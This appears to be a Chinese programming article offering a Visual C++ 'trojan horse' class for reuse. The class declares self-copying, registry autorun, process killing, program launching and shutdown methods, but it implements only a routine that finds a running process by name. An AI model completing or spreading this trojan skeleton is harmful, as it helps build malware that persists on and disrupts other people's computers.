Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.
本代码已封装成类方便代码重用 :1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.
交流
class CTrojanHorse
{
public://add code
public://add code
CTrojanHorse();
~CTrojanHorse();
protected://add code
BOOL IfShell(CString BeKissPrcName);
BOOL CopyFileaddr(CString m_CopyFile);
void ShellFile(CString m_ShellFile);
BOOL SetAutoRun(CString strPath);
void ShutDown();
private://add code
};
CTrojanHorse::CTrojanHorse()
{
//add code
}
CTrojanHorse::~CTrojanHorse()
{
//add code
}
BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行
{
CString str,a,prcnum;
// CMainFrame *pDlg=(CMainFrame *)lparam;
//AfxMessageBox(pDlg->BeKissPrcName);
HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
SHFILEINFO shSmall;
PROCESSENTRY32 ProcessInfo;//声明进程信息变量
ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小
//返回系统中第一个进程的信息
BOOL Status=Process32First(SnapShot,&ProcessInfo);
int m_nProcess=0;
int num=0;
while(Status)
{ num++;
m_nProcess++;
ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息
SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,
sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);
//str.Format("%08x",ProcessInfo.th32ProcessID);
str=ProcessInfo.szExeFile;
if(str==BeKissPrcName)
{
AfxMessageBox("找到进程成功!");
return true;
}
//获取下一个进程的信息
Status=Process32Next(SnapShot,&ProcessInfo);
}
AfxMessageBox("失败!");
return false;
}
责任编辑：小草
